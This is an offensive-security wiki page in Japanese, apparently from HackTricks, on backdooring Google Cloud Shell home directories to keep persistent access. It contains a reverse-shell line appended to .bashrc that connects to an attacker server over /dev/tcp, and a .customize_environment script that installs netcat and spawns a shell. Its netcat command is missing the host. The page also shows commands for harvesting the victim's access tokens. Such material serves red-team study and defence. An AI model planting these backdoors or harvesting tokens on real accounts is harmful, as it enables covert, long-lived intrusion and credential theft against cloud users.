# GCP - Cloud Shell Persistence {{#include ../../../banners/hacktricks-training.md}} ## Cloud Shell 詳細については、次を確認してください: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} ### Persistent Backdoor [**Google Cloud Shell**](https://cloud.google.com/shell/) は、関連するコストなしにブラウザから直接クラウドリソースへのコマンドラインアクセスを提供します。 **ウェブコンソール**からまたは**`gcloud cloud-shell ssh`**を実行することでGoogleのCloud Shellにアクセスできます。 このコンソールには攻撃者にとって興味深い機能があります: 1. **Google Cloudにアクセスできる任意のGoogleユーザー**は、完全に認証されたCloud Shellインスタンスにアクセスできます(サービスアカウントは、組織のオーナーであってもアクセス可能です)。 2. そのインスタンスは**活動がない場合、少なくとも120日間はホームディレクトリを維持します**。 3. そのインスタンスの活動を**組織が監視する能力はありません**。 これは基本的に、攻撃者がユーザーのホームディレクトリにバックドアを設置でき、ユーザーが少なくとも120日ごとにGC Shellに接続する限り、バックドアは生き残り、攻撃者は実行するたびにシェルを取得できることを意味します。 ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ``` ホームフォルダには **`.customize_environment`** という別のファイルがあり、存在する場合はユーザーが **cloud shell** にアクセスするたびに **実行されます**(前の技術と同様に)。前のバックドアや、以下のようなものを挿入して、ユーザーが「頻繁に」cloud shell を使用している限り、持続性を維持します: ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ``` > [!WARNING] > **認証を必要とするアクションが最初に実行されるとき**、ユーザーのブラウザにポップアップ認証ウィンドウが表示されることに注意することが重要です。このウィンドウは、コマンドを実行する前に受け入れられなければなりません。予期しないポップアップが表示された場合、疑念を引き起こし、使用されている持続性メソッドが危険にさらされる可能性があります。 これは、クラウドシェルから `gcloud projects list` を実行したときのポップアップ(攻撃者として)で、ブラウザのユーザーセッションで表示されます:
ただし、ユーザーがクラウドシェルを積極的に使用している場合、ポップアップは表示されず、**ユーザーのトークンを収集することができます**: ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ``` #### SSH接続の確立方法 基本的に、これらの3つのAPIコールが使用されます: - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (ローカルで作成した公開鍵を追加します) - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (インスタンスを起動します) - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (Google Cloud ShellのIPを教えてくれます) さらに詳しい情報は、[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)で見つけることができます。 ## 参考文献 - [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec) - [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) - [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/) {{#include ../../../banners/hacktricks-training.md}}